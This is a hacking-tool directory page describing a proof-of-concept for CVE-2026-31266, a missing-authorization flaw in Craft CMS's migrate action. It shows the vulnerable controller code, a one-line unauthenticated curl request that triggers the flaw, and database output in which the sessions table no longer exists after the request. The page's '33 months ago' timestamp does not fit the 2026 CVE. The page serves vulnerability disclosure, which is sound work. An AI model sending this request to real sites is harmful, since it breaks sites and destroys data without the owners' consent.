Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Craftcms-PoC-CVE-2026-31266 — Security research on Craft CMS authentication mechanism | Kitploit
Tools/GitHubGitHub/0xrixet/craftcms-poc-cve-2026-31266
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthentication
GitHub0xrixet/craftcms-poc-cve-2026-31266

Craftcms-PoC-CVE-2026-31266

Security research on Craft CMS authentication mechanism

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
33 months agoNot yet reviewed

CVE-2026-31266 - Craft CMS Missing Authorization

CVE Information

FieldValue
CVE IDCVE-2026-31266
VendorPixel & Tonic
ProductCraft CMS
Affected Versions<= 5.9.5
CWECWE-862 (Missing Authorization)
CVSS7.3 (High)
Security Researcher0xRIXET

Evidence Contents

  • screenshots/ - Proof of Concept demonstrations

Vulnerability

  • Type: Missing Authorization
  • Impact: Authentication Bypass
  • Vendor: Craft CMS
  • Status: CVE-2026-31266

Vulnerable Code

File: src/controllers/AppController.php

Lines 65-68:

root@kitploit:~
protected array|bool|int $allowAnonymous = [
    'migrate' => self::ALLOW_ANONYMOUS_LIVE | self::ALLOW_ANONYMOUS_OFFLINE,
];

Proof of Concept

root@kitploit:~
# With allowAdminChanges=false
curl -X POST "http://target/actions/app/migrate"

Evidence

Before Attack:

root@kitploit:~
mysql> SELECT COUNT(*) FROM sessions;
+----------+
| COUNT(*) |
+----------+
|        0 |
+----------+

After Attack:

root@kitploit:~
mysql> SELECT COUNT(*) FROM sessions;
ERROR 1146 (42S02): Table 'sessions' doesn't exist

References

  • Craft CMS Repository
  • Craft Security Documentation
  • NVD Entry

Contact

  • Security Researcher: 0xRIXET | Mohammed Al-shehri
  • Twitter | X : @0xRIXET
  • Email: [email protected]
Download Tool